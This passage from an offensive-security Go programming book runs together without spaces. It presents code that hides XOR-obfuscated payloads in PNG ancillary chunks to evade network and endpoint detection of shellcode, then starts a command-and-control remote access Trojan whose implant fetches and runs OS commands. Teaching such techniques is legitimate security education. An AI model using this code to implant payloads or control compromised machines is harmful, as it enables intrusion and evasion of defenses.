currentreadorwriteoffsetandthenreturnsthenewoffset relativetothestartofthefile.Itsfirstargumentisthenumber ofbytesbywhichyouwanttomovetheoffsetanditssecond argumentdefinesthepositionfromwhichthemovewilloccur. Thesecondargument’soptionalvaluesare0(StartofFile),1 (CurrentPosition),and2(EndofFile).Forexample,ifyou wantedtoshift8bytestotheleftfromyourcurrentposition, youwoulduseb.Seek(-8,1). Here,b.Seek(0,1)❶statesthatyouwanttomoveyouroffset 0bytesfromthecurrentposition,soitsimplyreturnsthe currentoffset:essentiallyretrievingtheoffsetwithoutmoving it. Thenextmethodswedetaildefinehowyoureadtheactual chunksegmentbytes.Tomakethingsabitmorelegible,let’s createareadChunk()methodandthencreateseparatemethodsfor readingeachchunksubfield(Listing13-7). func(mc*MetaChunk)readChunk(b*bytes.Reader){ mc.readChunkSize(b) mc.readChunkType(b) mc.readChunkBytes(b,mc.Chk.Size)❶ mc.readChunkCRC(b) } func(mc*MetaChunk)readChunkSize(b*bytes.Reader){ iferr:=binary.Read(b,binary.BigEndian,&mc.Chk.Size);err!=nil{❷ log.Fatal(err) } } func(mc*MetaChunk)readChunkType(b*bytes.Reader){ iferr:=binary.Read(b,binary.BigEndian,&mc.Chk.Type);err!=nil{ log.Fatal(err) } } func(mc*MetaChunk)readChunkBytes(b*bytes.Reader,cLenuint32){ mc.Chk.Data=make([]byte,cLen)❸ iferr:=binary.Read(b,binary.BigEndian,&mc.Chk.Data);err!=nil{ log.Fatal(err) } } func(mc*MetaChunk)readChunkCRC(b*bytes.Reader){ iferr:=binary.Read(b,binary.BigEndian,&mc.Chk.CRC);err!=nil{ log.Fatal(err) } } Listing13-7:Chunk-readingmethods(/ch-13/imgInject/pnglib/commands.go) ThemethodsreadChunkSize(),readChunkType(),andreadChunkCRC() areallsimilar.Eachreadsauint32valueintotherespective fieldoftheChunkstruct.However,readChunkBytes()isabitofan anomaly.Becausetheimagedataisofvariablelength,we’ll needtosupplythislengthtothereadChunkBytes()functionsothat itknowshowmanybytestoread❶.Recallthatthedata lengthismaintainedintheSIZEsubfieldofthechunk.You identifytheSIZEvalue❷andpassitasanargumentto readChunkBytes()todefineasliceofpropersize❸.Onlythencan thebytedatabereadintothestruct’sDatafield.That’saboutit forreadingthedata,solet’spressonandexplorewritingbyte data. WRITINGIMAGEBYTEDATATO IMPLANTAPAYLOAD Althoughyoucanchoosefrommanycomplexsteganography techniquestoimplantpayloads,inthissectionwe’llfocusona methodofwritingtoacertainbyteoffset.ThePNGfileformat definescriticalandancillarychunksegmentswithinthe specification.Thecriticalchunksarenecessaryfortheimage decodertoprocesstheimage.Theancillarychunksare optionalandprovidevariouspiecesofmetadatathatarenot criticaltoencodingordecoding,suchastimestampsandtext. Therefore,theancillarychunktypeprovidesanideal locationtoeitheroverwriteanexistingchunkorinsertanew chunk.Here,we’llshowyouhowtoinsertnewbyteslicesinto anancillarychunksegment. LocatingaChunkOffset First,youneedtoidentifyanadequateoffsetsomewhereinthe ancillarydata.Youcanspotancillarychunksbecausethey alwaysstartwithlowercaseletters.Let’susethehexeditor onceagainandopenuptheoriginalPNGfilewhileadvancing totheendofthehexdump. EveryvalidPNGimagewillhaveanIENDchunktype indicatingthefinalchunkofthefile(theEOFchunk).Moving tothe4bytesthatcomebeforethefinalSIZEchunkwill positionyouatthestartingoffsetoftheIENDchunkandthe lastofthearbitrary(criticalorancillary)chunkscontained withintheoverallPNGfile.Recallthatancillarychunksare optional,soit’spossiblethatthefileyou’reinspectingasyou followalongwon’thavethesameancillarychunks,oranyfor thatmatter.Inourexample,theoffsettotheIENDchunkbegins atbyteoffset0x85258(Figure13-3). Figure13-3:IdentifyingachunkoffsetrelativetotheIENDposition WritingByteswiththeProcessImage()Method Astandardapproachtowritingorderedbytesintoabyte streamistouseaGostruct.Let’srevisitanothersectionofthe ProcessImage()methodwestartedbuildinginListing13-5and walkthroughthedetails.ThecodeinListing13-8calls individualfunctionsthatyou’llbuildoutasyouprogress throughthissection. func(mc*MetaChunk)ProcessImage(b*bytes.Reader,c*models.CmdLineOpts) ❶{ --snip-- ❷varmMetaChunk ❸m.Chk.Data=[]byte(c.Payload) m.Chk.Type=m.strToInt(c.Type)❹ m.Chk.Size=m.createChunkSize()❺ m.Chk.CRC=m.createChunkCRC()❻ bm:=m.marshalData()❼ bmb:=bm.Bytes() fmt.Printf("PayloadOriginal:%X\n",[]byte(c.Payload)) fmt.Printf("Payload:%X\n",m.Chk.Data) ❽utils.WriteData(b,c,bmb) } Listing13-8:WritingbyteswiththeProcessImage()method(/ch-13/imgInject/pnglib /commands.go) Thismethodtakesabyte.Readerandanotherstruct, models.CmdLineOpts,asarguments❶.TheCmdLineOptsstruct, showninListing13-9,containsflagvaluespassedinviathe commandline.We’llusetheseflagstodeterminewhat payloadtouseandwheretoinsertitintheimagedata.Since thebytesyou’llwritefollowthesamestructuredformatas thosereadfrompreexistingchunksegments,youcanjust createanewMetaChunkstructinstance❷thatwillacceptyour newchunksegmentvalues. Thenextstepistoreadthepayloadintoabyteslice❸. However,you’llneedadditionalfunctionalitytocoercethe literalflagvaluesintoausablebytearray.Let’sdiveintothe detailsofthestrToInt()❹,createChunkSize()❺,createChunkCRC()❻, MarshalData()❼,andWriteData()❽methods. packagemodels //CmdLineOptsrepresentsthecliarguments typeCmdLineOptsstruct{ Inputstring Outputstring Metabool Suppressbool Offsetstring Injectbool Payloadstring Typestring Encodebool Decodebool Keystring } Listing13-9:TheCmdLineOptsstruct(/ch-13/imgInject/models/opts.go) ThestrToInt()Method We’llstartwiththestrToInt()method(Listing13-10). func(mc*MetaChunk)strToInt(sstring)❶uint32{ t:=[]byte(s) ❷returnbinary.BigEndian.Uint32(t) } Listing13-10:ThestrToInt()method(/ch-13/imgInject/pnglib/commands.go) ThestrToInt()methodisahelperthatconsumesastring❶as anargumentandreturnsuint32❷,whichisthenecessarydata typeforyourChunkstructTYPEvalue. ThecreateChunkSize()Method Next,youusethecreateChunkSize()methodtoassigntheChunk structSIZEvalue(Listing13-11). func(mc*MetaChunk)createChunkSize()uint32{ returnuint32(len(mc.Chk.Data)❷)❶ } Listing13-11:ThecreateChunkSize()method(/ch-13/imgInject/pnglib/commands.go) Thismethodwillobtainthelengthofthechk.DATAbyte array❷andtype-convertittoauint32value❶. ThecreateChunkCRC()Method RecallthattheCRCchecksumforeachchunksegment comprisesboththeTYPEandDATAbytes.You’llusethe createChunkCRC()methodtocalculatethischecksum.Themethod leveragesGo’shash/crc32package(Listing13-12). func(mc*MetaChunk)createChunkCRC()uint32{ bytesMSB:=new(bytes.Buffer)❶ iferr:=binary.Write(bytesMSB,binary.BigEndian,mc.Chk.Type);err!=nil{ ❷ log.Fatal(err) } iferr:=binary.Write(bytesMSB,binary.BigEndian,mc.Chk.Data);err!=nil{ ❸ log.Fatal(err) } returncrc32.ChecksumIEEE(bytesMSB.Bytes())❹ } Listing13-12:ThecreateChunkCRC()method(/ch-13/imgInject/pnglib/commands.go) Priortoarrivingatthereturnstatement,youdeclarea bytes.Buffer❶andwriteboththeTYPE❷andDATA❸bytes intoit.Thebyteslicefromthebufferisthenpassedasan argumenttotheChecksumIEEE,andtheCRC-32checksumvalue isreturnedasauint32datatype.Thereturnstatement❹isdoing alltheheavyliftinghere,actuallycalculatingthechecksumon thenecessarybytes. ThemarshalData()Method Allnecessarypiecesofachunkareassignedtotheirrespective structfields,whichcannowbemarshaledintoabytes.Buffer. Thisbufferwillprovidetherawbytesofthecustomchunk thataretobeinsertedintothenewimagefile.Listing13-13 showswhatthemarshalData()methodlookslike. func(mc*MetaChunk)marshalData()*bytes.Buffer{ bytesMSB:=new(bytes.Buffer)❶ iferr:=binary.Write(bytesMSB,binary.BigEndian,mc.Chk.Size);err!=nil{ ❷ log.Fatal(err) } iferr:=binary.Write(bytesMSB,binary.BigEndian,mc.Chk.Type);err!=nil{ ❸ log.Fatal(err) } iferr:=binary.Write(bytesMSB,binary.BigEndian,mc.Chk.Data);err!=nil{ ❹ log.Fatal(err) } iferr:=binary.Write(bytesMSB,binary.BigEndian,mc.Chk.CRC);err!=nil{ ❺ log.Fatal(err) } returnbytesMSB } Listing13-13:ThemarshalData()method(/ch-13/imgInject/pnglib/commands.go) ThemarshalData()methoddeclaresabytes.Buffer❶andwrites thechunkinformationtoit,includingthesize❷,type❸,data ❹,andchecksum❺.Themethodreturnsallthechunk segmentdataintoasingleconsolidatedbytes.Buffer. TheWriteData()Function Nowallyouhavelefttodoistowriteyournewchunk segmentbytesintotheoffsetoftheoriginalPNGimagefile. Let’shaveapeekattheWriteData()function,whichexistsina packagewecreatednamedutils(Listing13-14). //WriteDatawritesnewChunkdatatooffset funcWriteData(r*bytes.Reader❶,c*models.CmdLineOpts❷,b[]byte❸){ ❹offset,_:=strconv.ParseInt(c.Offset,10,64) ❺w,err:=os.Create(c.Output) iferr!=nil{ log.Fatal("Fatal:Problemwritingtotheoutputfile!") } deferw.Close() ❻r.Seek(0,0) ❼varbuff=make([]byte,offset) r.Read(buff) ❽w.Write(buff) ❾w.Write(b) ❿_,err=io.Copy(w,r) iferr==nil{ fmt.Printf("Success:%screated\n",c.Output) } } Listing13-14:TheWriteData()function(/ch-13/imgInject/utils/writer.go) TheWriteData()functionconsumesabytes.Reader❶containing theoriginalimagefilebytedata,amodels.CmdLineOpts❷struct inclusiveofthecommandlineargumentvalues,andabyteslice ❸holdingthenewchunkbytesegment.Thecodeblockstarts withastring-to-int64conversion❹inordertoobtaintheoffset valuefromthemodels.CmdLineOptsstruct;thiswillhelpyouwrite yournewchunksegmenttoaspecificlocationwithout corruptingotherchunks.Youthencreateafilehandle❺so thatthenewlymodifiedPNGimagecanbewrittentodisk. Youusether.Seek(0,0)functioncall❻torewindtothe absolutebeginningofthebytes.Reader.Recallthatthefirst8 bytesarereservedforthePNGheader,soit’simportantthat thenewoutputPNGimageincludetheseheaderbytesaswell. Youincludethembyinstantiatingabyteslicewithalength determinedbytheoffsetvalue❼.Youthenreadthatnumberof bytesfromtheoriginalimageandwritethosesamebytesto yournewimagefile❽.Younowhaveidenticalheadersin boththeoriginalandnewimages. Youthenwritethenewchunksegmentbytes❾intothe newimagefile.Finally,youappendtheremainderofthe bytes.Readerbytes❿(thatis,thechunksegmentbytesfromyour originalimage)tothenewimagefile.Recallthatbytes.Reader hasadvancedtotheoffsetlocation,becauseoftheearlierread intoabyteslice,whichcontainsbytesfromtheoffsettothe EOF.You’releftwithanewimagefile.Yournewfilehas identicalleadingandtrailingchunksastheoriginalimage,but italsocontainsyourpayload,injectedasanewancillary chunk. Tohelpvisualizeaworkingrepresentationofwhatyou builtsofar,referencetheoverallworkingprojectcodeat https://github.com/blackhat-go/bhg/tree/master/ch- 13/imgInject/.TheimgInjectprogramconsumescommandline argumentscontainingvaluesfortheoriginalPNGimagefile, anoffsetlocation,anarbitrarydatapayload,theself-declared arbitrarychunktype,andtheoutputfilenameforyour modifiedPNGimagefile,asshowninListing13-15. $gorunmain.go-iimages/battlecat.png-onewPNGfile--inject-offset\ 0x85258--payload1234243525522552522452355525 Listing13-15:RunningtheimgInjectcommandlineprogram Ifeverythingwentasplanned,offset0x85258shouldnow containanewrNDmchunksegment,asshowninFigure13-4. Figure13-4:Apayloadinjectedasanancillarychunk(suchasrNDm) Congratulations—you’vejustwrittenyourfirst steganographyprogram! ENCODINGANDDECODINGIMAGE BYTEDATABYUSINGXOR Justastherearemanytypesofsteganography,soarethere manytechniquesusedtoobfuscatedatawithinabinaryfile. Let’scontinuetobuildthesampleprogramfromtheprevious section.Thistime,you’llincludeobfuscationtohidethetrue intentofyourpayload. Obfuscationcanhelpconcealyourpayloadfromnetwork- monitoringdevicesandendpointsecuritysolutions.If,for example,you’reembeddingrawshellcodeusedforspawninga newMeterpretershellorCobaltStrikebeacon,youwantto makesureitavoidsdetection.Forthis,you’lluseExclusive ORbitwiseoperationstoencryptanddecryptthedata. AnExclusiveOR(XOR)isaconditionalcomparison betweentwobinaryvaluesthatproducesaBooleantruevalue ifandonlyifthetwovaluesarenotthesame,andaBoolean falsevalueotherwise.Inotherwords,thestatementistrueif eitherxoryaretrue—butnotifbotharetrue.Youcanseethis representedinTable13-1,giventhatxandyarebothbinary inputvalues. Table13-1:XORTruthTable x y x^youtput 0 1 Trueor1 1 0 Trueor1 0 0 Falseor0 1 1 Falseor0 Youcanusethislogictoobfuscatedatabycomparingthe bitsinthedatatothebitsofasecretkey.Whentwovalues match,youchangethebitinthepayloadto0,andwhenthey differ,youchangeitto1.Let’sexpandthecodeyoucreatedin theprevioussectiontoincludeanencodeDecode()function,along withXorEncode()andXorDecode()functions.We’llinsertthese functionsintotheutilspackage(Listing13-16). funcencodeDecode(input[]byte❶,keystring❷)[]byte{ ❸varbArr=make([]byte,len(input)) fori:=0;i<len(input);i++{ ❹bArr[i]+=input[i]^key[i%len(key)] } returnbArr } Listing13-16:TheencodeDecode()function(/ch-13/imgInject/utils/encoders.go) TheencodeDecode()functionconsumesabyteslicecontaining thepayload❶andasecretkeyvalue❷asarguments.Anew byteslice,bArr❸,iscreatedwithinthefunction’sinnerscope andinitializedtotheinputbytelengthvalue(thelengthofthe payload).Next,thefunctionusesaconditionallooptoiterate overeachindexpositionofinputbytearray. Withintheinnerconditionalloop,eachiterationXORsthe currentindex’sbinaryvaluewithabinaryvaluederivedfrom themoduloofthecurrentindexvalueandlengthofthesecret key❹.Thisallowsyoutouseakeythatisshorterthanyour payload.Whentheendofthekeyisreached,themodulowill forcethenextiterationtousethefirstbyteofthekey.Each XORoperationresultiswrittentothenewbArrbyteslice,and thefunctionreturnstheresultingslice. ThefunctionsinListing13-17wraptheencodeDecode() functiontofacilitatetheencodinganddecodingprocess. //XorEncodereturnsencodedbytearray ❶funcXorEncode(decode[]byte,keystring)[]byte{ ❷returnencodeDecode(decode,key) } //XorDecodereturnsdecodedbytearray ❶funcXorDecode(encode[]byte,keystring)[]byte{ ❷returnencodeDecode(encode,key) } Listing13-17:TheXorEncode()andXorDecode()functions(/ch- 13/imgInject/utils/encoders.go) Youdefinetwofunctions,XorEncode()andXorDecode(),which takethesameliteralarguments❶andreturnthesamevalues ❷.That’sbecauseyoudecodeXOR-encodeddatabyusing thesameprocessusedtoencodethedata.However,you definethesefunctionsseparately,toprovideclaritywithinthe programcode. TousetheseXORfunctionsinyourexistingprogram, you’llhavetomodifytheProcessImage()logicyoucreatedin Listing13-8.TheseupdateswillleveragetheXorEncode() functiontoencryptthepayload.Themodifications,shownin Listing13-18,assumeyou’reusingcommandlinearguments topassvaluestoconditionalencodeanddecodelogic. //EncodeBlock if(c.Offset!="")&&c.Encode{ varmMetaChunk ❶m.Chk.Data=utils.XorEncode([]byte(c.Payload),c.Key) m.Chk.Type=chk.strToInt(c.Type) m.Chk.Size=chk.createChunkSize() m.Chk.CRC=chk.createChunkCRC() bm:=chk.marshalData() bmb:=bm.Bytes() fmt.Printf("PayloadOriginal:%X\n",[]byte(c.Payload)) fmt.Printf("PayloadEncode:%X\n",chk.Data) utils.WriteData(b,c,bmb) } Listing13-18:UpdatingProcessImage()toincludeXORencoding(/ch- 13/imgInject/pnglib/commands.go) ThefunctioncalltoXorEncode()❶passesabyteslice containingthepayloadandsecretkey,XORsthetwovalues, andreturnsabyteslice,whichisassignedtochk.Data.The remainingfunctionalityremainsunchangedandmarshalsthe newchunksegmenttoeventuallybewrittentoanimagefile. Thecommandlinerunofyourprogramshouldproducea resultsimilartotheoneinListing13-19. $gorunmain.go-iimages/battlecat.png--inject--offset0x85258--encode\ --keygophers--payload1234243525522552522452355525--output encodePNGfile ValidPNGsoletuscontinue! ❶PayloadOriginal:31323334323433353235353232353532353232 343532333535353235 ❷PayloadEncode:565D435C574640525D455D574046525D455A57 46 46555C455D504046 Success:encodePNGfilecreated Listing13-19:RunningtheimgInjectprogramtoXORencodeadatachunkblock Thepayloadiswrittentoabyterepresentationanddisplayed tostdoutasPayloadOriginal❶.ThepayloadisthenXORedwitha keyvalueofgophersanddisplayedtostdoutasPayloadEncode❷. Todecryptyourpayloadbytes,youusethedecode function,asinListing13-20. //DecodeBlock if(c.Offset!="")&&c.Decode{ varmMetaChunk ❶offset,_:=strconv.ParseInt(c.Offset,10,64) ❷b.Seek(offset,0) ❸m.readChunk(b) origData:=m.Chk.Data ❹m.Chk.Data=utils.XorDecode(m.Chk.Data,c.Key) m.Chk.CRC=m.createChunkCRC() ❺bm:=m.marshalData() bmb:=bm.Bytes() fmt.Printf("PayloadOriginal:%X\n",origData) fmt.Printf("PayloadDecode:%X\n",m.Chk.Data) ❻utils.WriteData(b,c,bmb) } Listing13-20:Decodingtheimagefileandpayload(/ch- 13/imgInject/pnglib/commands.go) Theblockrequirestheoffsetpositionofthechunksegment thatcontainsthepayload❶.YouusetheoffsettoSeek()❷the fileposition,alongwithasubsequentcalltoreadChunk()❸ that’snecessarytoderivetheSIZE,TYPE,DATA,andCRCvalues. AcalltoXorDecode()❹takesthechk.Datapayloadvalueandthe samesecretkeyusedtoencodethedata,andthenassignsthe decodedpayloadvaluebacktochk.Data.(Rememberthatthisis symmetricencryption,soyouusethesamekeytobothencrypt anddecryptthedata.)Thecodeblockcontinuesbycalling marshalData()❺,whichconvertsyourChunkstructtoabyteslice. Finally,youwritethenewchunksegmentcontainingthe decodedpayloadtoafilebyusingtheWriteData()function❻. Acommandlinerunofyourprogram,thistimewitha decodeargument,shouldproducetheresultinListing13-21. $gorunmain.go-iencodePNGfile-odecodePNGfile--offset0x85258- decode\ --keygophersValidPNGsoletuscontinue! ❶PayloadOriginal:565D435C574640525D455D574046525D455A57 4646555C455D504046 ❷PayloadDecode:3132333432343335323535323235353235323234 3532333535353235 Success:decodePNGfilecreated Listing13-21:RunningtheimgInjectprogramtoXORdecodeadatachunkblock ThePayloadOriginalvalue❶istheencodedpayloaddataread fromtheoriginalPNGfile,whilethePayloadDecodevalue❷is thedecryptedpayload.Ifyoucompareyoursamplecommand linerunfrombeforeandtheoutputhere,you’llnoticethat yourdecodedpayloadmatchestheoriginal,cleartextvalue yousuppliedoriginally. Thereisaproblemwiththecode,though.Recallthatthe programcodeinjectsyournewdecodedchunkatanoffset positionofyourspecification.Ifyouhaveafilethatalready containstheencodedchunksegmentandthenattempttowrite anewfilewithadecodedchunksegment,you’llendupwith bothchunksinthenewoutputfile.YoucanseethisinFigure 13-5. Figure13-5:Theoutputfilecontainsboththedecodedchunksegmentandencoded chunksegment. Tounderstandwhythishappens,recallthattheencoded PNGfilehastheencodedchunksegmentatoffset0x85258,as showninFigure13-6. Figure13-6:Theoutputfilecontainingtheencodedchunksegment Theproblempresentsitselfwhenthedecodeddatais writtentooffset0x85258.Whenthedecodeddatagetswrittento thesamelocationastheencodeddata,ourimplementation doesn’tdeletetheencodeddata;itmerelyshiftstheremainder ofthefilebytestotheright,includingtheencodedchunk segment,asillustratedpreviouslyinFigure13-5.Thiscan complicatepayloadextractionorproduceunintended consequences,suchasrevealingthecleartextpayloadto networkdevicesorsecuritysoftware. Fortunately,thisissueisquiteeasytoresolve.Let’stakea lookatourpreviousWriteData()function.Thistime,youcan modifyittoaddresstheproblem(Listing13-22). //WriteDatawritesnewdatatooffset funcWriteData(r*bytes.Reader,c*models.CmdLineOpts,b[]byte){ offset,err:=strconv.ParseInt(c.Offset,10,64) iferr!=nil{ log.Fatal(err) } w,err:=os.OpenFile(c.Output,os.O_RDWR|os.O_CREATE,0777) iferr!=nil{ log.Fatal("Fatal:Problemwritingtotheoutputfile!") } r.Seek(0,0) varbuff=make([]byte,offset) r.Read(buff) w.Write(buff) w.Write(b) ❶ifc.Decode{ ❷r.Seek(int64(len(b)),1) } ❸_,err=io.Copy(w,r) iferr==nil{ fmt.Printf("Success:%screated\n",c.Output) } } Listing13-22:UpdatingWriteData()topreventduplicateancillarychunktypes(/ch- 13/imgInject/utils/writer.go) Youintroducethefixwiththec.Decodeconditionallogic❶. TheXORoperationproducesabyte-for-bytetransaction. Therefore,theencodedanddecodedchunksegmentsare identicalinlength.Furthermore,thebytes.Readerwillcontainthe remainderoftheoriginalencodedimagefileatthemoment thedecodedchunksegmentiswritten.So,youcanperforma rightbyteshiftcomprisingthelengthofthedecodedchunk segmentonthebytes.Reader❷,advancingthebytes.Readerpastthe encodedchunksegmentandwritingtheremainderofbytesto yournewimagefile❸. Voila!AsyoucanseeinFigure13-7,thehexeditor confirmsthatyouresolvedtheproblem.Nomoreduplicate ancillarychunktypes. Figure13-7:Theoutputfilewithoutduplicateancillarydata Theencodeddatanolongerexists.Additionally,runningls -laagainstthefilesshouldproduceidenticalfilelengths,even thoughfilebyteshavechanged. SUMMARY Inthischapter,youlearnedhowtodescribethePNGimage fileformatasaseriesofrepetitivebytechunksegments,each withitsrespectivepurposeandapplicability.Next,you learnedmethodsofreadingandnavigatingthebinaryfile. Thenyoucreatedbytedataandwroteittoanimagefile. Finally,youusedXORencodingtoobfuscateyourpayload. Thischapterfocusedonimagefilesandonlyscratchedthe surfaceofwhatyoucanaccomplishbyusingsteganography techniques.Butyoushouldbeabletoapplywhatyoulearned heretoexploreotherbinaryfiletypes. ADDITIONALEXERCISES Likemanyoftheotherchaptersinthisbook,thischapterwill providethemostvalueifyouactuallycodeandexperiment alongtheway.Therefore,wewanttoconcludewithafew challengestoexpandontheideasalreadycovered: 1. WhilereadingtheXORsection,youmayhavenoticedthattheXorDecode() functionproducesadecodedchunksegment,butneverupdatestheCRC checksum.Seeifyoucancorrectthisissue. 2. TheWriteData()functionfacilitatestheabilitytoinjectarbitrarychunk segments.Whatcodechangeswouldyouhavetomakeifyouwantedto overwriteexistingancillarychunksegments?Ifyouneedhelp,ourexplanation aboutbyteshiftingandtheSeek()functionmaybeusefulinsolvingthis problem. 3. Here’samorechallengingproblem:trytoinjectapayload—thePNGDATA bytechunk—bydistributingitthroughoutvariousancillarychunksegments. Youcoulddothisonebyteatatime,orwithmultiplegroupingsofbytes,soget creative.Asanaddedbonus,createadecoderthatreadsexactpayloadbyte offsetlocations,makingiteasiertoextractthepayload. 4. ThechapterexplainedhowtouseXORasaconfidentialitytechnique—a methodtoobfuscatetheimplantedpayload.Trytoimplementadifferent technique,suchasAESencryption.Gocorepackagesprovideanumberof possibilities(seeChapter11ifyouneedarefresher).Observehowthesolution affectsthenewimage.Doesitcausetheoverallsizetoincrease,andifso,by howmuch? 5. Usethecodeideaswithinthischaptertoexpandsupportforotherimagefile formats.OtherimagespecificationsmaynotbeasorganizedasPNG.Want proof?GivethePDFspecificationaread,asitcanberatherintimidating.How wouldyousolvethechallengesofreadingandwritingdatatothisnewimage format? 14 BUILDINGACOMMAND-AND- CONTROLRAT Inthischapter,we’lltietogetherseverallessonsfromthe previouschapterstobuildabasiccommandandcontrol(C2) remoteaccessTrojan(RAT).ARATisatoolusedby attackerstoremotelyperformactionsonacompromised victim’smachine,suchasaccessingthefilesystem,executing code,andsniffingnetworktraffic. BuildingthisRATrequiresbuildingthreeseparatetools:a clientimplant,aserver,andanadmincomponent.Theclient implantistheportionoftheRATthatrunsonacompromised workstation.Theserveriswhatwillinteractwiththeclient implant,muchlikethewayCobaltStrike’steamserver—the servercomponentofthewidelyusedC2tool—sends commandstocompromisedsystems.Unliketheteamserver, whichusesasingleservicetofacilitateserverand administrativefunctions,we’llcreateaseparate,stand-alone admincomponentusedtoactuallyissuethecommands.This serverwillactasthemiddleman,choreographing communicationsbetweencompromisedsystemsandthe attackerinteractingwiththeadmincomponent. ThereareaninfinitenumberofwaystodesignaRAT.In thischapter,weaimtohighlighthowtohandleclientand servercommunicationsforremoteaccess.Forthisreason, we’llshowyouhowtobuildsomethingsimpleand unpolished,andthenpromptyoutocreatesignificant improvementsthatshouldmakeyourspecificversionmore robust.Theseimprovements,inmanycases,willrequireyou toreusecontentandcodeexamplesfrompreviouschapters. You’llapplyyourknowledge,creativity,andproblem-solving abilitytoenhanceyourimplementation. GETTINGSTARTED Togetstarted,let’sreviewwhatwe’regoingtodo:we’ll createaserverthatreceivesworkintheformofoperating systemcommandsfromanadmincomponent(whichwe’ll alsocreate).We’llcreateanimplantthatpollstheserver periodicallytolookfornewcommandsandthenpublishesthe commandoutputbackontotheserver.Theserverwillthen handthatresultbacktotheadministrativeclientsothatthe operator(you)canseetheoutput. Let’sstartbyinstallingatoolthatwillhelpushandleall thesenetworkinteractionsandreviewingthedirectory structureforthisproject. InstallingProtocolBuffersforDefiningagRPCAPI We’llbuildallthenetworkinteractionsbyusinggRPC,a high-performanceremoteprocedurecall(RPC)framework createdbyGoogle.RPCframeworksallowclientsto communicatewithserversoverstandardanddefinedprotocols withouthavingtounderstandanyoftheunderlyingdetails. ThegRPCframeworkoperatesoverHTTP/2,communicating messagesinahighlyefficient,binarystructure. MuchlikeotherRPCmechanisms,suchasRESTor SOAP,ourdatastructuresneedtobedefinedinordertomake themeasytoserializeanddeserialize.Luckilyforus,there’sa mechanismfordefiningourdataandAPIfunctionssowecan usethemwithgRPC.Thismechanism,ProtocolBuffers(or Protobuf,forshort),includesastandardsyntaxforAPIand complexdatadefinitionsintheformofa.protofile.Tooling existstocompilethatdefinitionfileintoGo-friendlyinterface stubsanddatatypes.Infact,thistoolingcanproduceoutputin avarietyoflanguages,meaningyoucanusethe.protofileto generateC#stubsandtypes. YourfirstorderofbusinessistoinstalltheProtobuf compileronyoursystem.Walkingthroughtheinstallationis outsidethescopeofthisbook,butyou’llfindfulldetailsunder the“Installation”sectionoftheofficialGoProtobufrepository athttps://github.com/golang/protobuf/.Also,whileyou’reat it,installthegRPCpackagewiththefollowingcommand: >goget-ugoogle.golang.org/grpc CreatingtheProjectWorkspace Next,let’screateourprojectworkspace.We’llcreatefour subdirectoriestoaccountforthethreecomponents(the implant,server,andadmincomponent)andthegRPCAPI definitionfiles.Ineachofthecomponentdirectories,we’ll createasingleGofile(ofthesamenameastheencompassing directory)that’llbelongtoitsownmainpackage.Thisletsus independentlycompileandruneachasastand-alone componentandwillcreateadescriptivebinarynameinthe eventwerungobuildonthecomponent.We’llalsocreateafile namedimplant.protoinourgrpcapidirectory.Thatfilewill holdourProtobufschemaandgRPCAPIdefinitions.Here’s thedirectorystructureyoushouldhave: $tree . |--client ||--client.go |--grpcapi ||--implant.proto |--implant ||--implant.go |--server |--server.go Withthestructurecreated,wecanbeginbuildingour implementation.Throughoutthenextseveralsections,we’ll walkyouthroughthecontentsofeachfile. DEFININGANDBUILDINGTHE GRPCAPI Thenextorderofbusinessistodefinethefunctionalityand dataourgRPCAPIwilluse.Unlikebuildingandconsuming RESTendpoints,whichhaveafairlywell-definedsetof expectations(forexample,theyuseHTTPverbsandURL pathstodefinewhichactiontotakeonwhichdata),gRPCis morearbitrary.YoueffectivelydefineanAPIserviceandtie toitthefunctionprototypesanddatatypesforthatservice. We’lluseProtobufstodefineourAPI.Youcanfindafull explanationoftheProtobufsyntaxwithaquickGoogle search,butwe’llbrieflyexplainithere. Ataminimum,we’llneedtodefineanadministrative serviceusedbyoperatorstosendoperatingsystemcommands (work)totheserver.We’llalsoneedanimplantserviceused byourimplanttofetchworkfromtheserverandsendthe commandoutputbacktotheserver.Listing14-1showsthe contentsoftheimplant.protofile.(Allthecodelistingsatthe rootlocationof/existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.) //implant.proto syntax="proto3"; ❶packagegrpcapi; //ImplantdefinesourC2APIfunctions ❷serviceImplant{ rpcFetchCommand(Empty)returns(Command); rpcSendOutput(Command)returns(Empty); } //AdmindefinesourAdminAPIfunctions ❸serviceAdmin{ rpcRunCommand(Command)returns(Command); } //Commanddefinesawithbothinputandoutputfields ❹messageCommand{ stringIn=1; stringOut=2; } //Emptydefinesanemptymessageusedinplaceofnull ❺messageEmpty{ } Listing14-1:DefiningthegRPCAPIbyusingProtobuf(/ch- 14/grpcapi/implant.proto) Recallhowweintendtocompilethisdefinitionfileinto Go-specificartifacts?Well,weexplicitlyincludepackagegrpcapi ❶toinstructthecompilerthatwewanttheseartifactscreated underthegrpcapipackage.Thenameofthispackageis arbitrary.WepickedittoensurethattheAPIcoderemains separatefromtheothercomponents. OurschemathendefinesaservicenamedImplantanda servicenamedAdmin.We’reseparatingthesebecausewe expectourImplantcomponenttointeractwithourAPIina differentmannerthanourAdminclient.Forexample,we wouldn’twantourImplantsendingoperatingsystemcommand worktoourserver,justaswedon’twanttorequireourAdmin componenttosendcommandoutputtotheserver. WedefinetwomethodsontheImplantservice:FetchCommand andSendOutput❷.Definingthesemethodsislikedefiningan interfaceinGo.We’resayingthatanyimplementationofthe Implantservicewillneedtoimplementthosetwomethods. FetchCommand,whichtakesanEmptymessageasaparameterand returnsaCommandmessage,willretrieveanyoutstanding operatingsystemcommandsfromtheserver.SendOutputwill sendaCommandmessage(whichcontainscommandoutput) backtotheserver.Thesemessages,whichwe’llcover momentarily,arearbitrary,complexdatastructuresthat containfieldsnecessaryforustopassdatabackandforth betweenourendpoints. OurAdminservicedefinesasinglemethod:RunCommand, whichtakesaCommandmessageasaparameterandexpectsto readaCommandmessageback❸.Itsintentionistoallowyou, theRAToperator,torunanoperatingsystemcommandona remotesystemthathasarunningimplant. Lastly,wedefinethetwomessageswe’llbepassing around:CommandandEmpty.TheCommandmessagecontainstwo fields,oneusedformaintainingtheoperatingsystem commanditself(astringnamedIn)andoneusedfor maintainingthecommandoutput(astringnamedOut)❹.Note thatthemessageandfieldnamesarearbitrary,butthatwe assigneachfieldanumericalvalue.Youmightbewondering howwecanassignInandOutnumericalvaluesifwedefined themtobestrings.Theansweristhatthisisaschema definition,notanimplementation.Thosenumericalvalues representtheoffsetwithinthemessageitselfwherethose fieldswillappear.We’resayingInwillappearfirst,andOut willappearsecond.TheEmptymessagecontainsnofields❺. ThisisahacktoworkaroundthefactthatProtobufdoesn’t 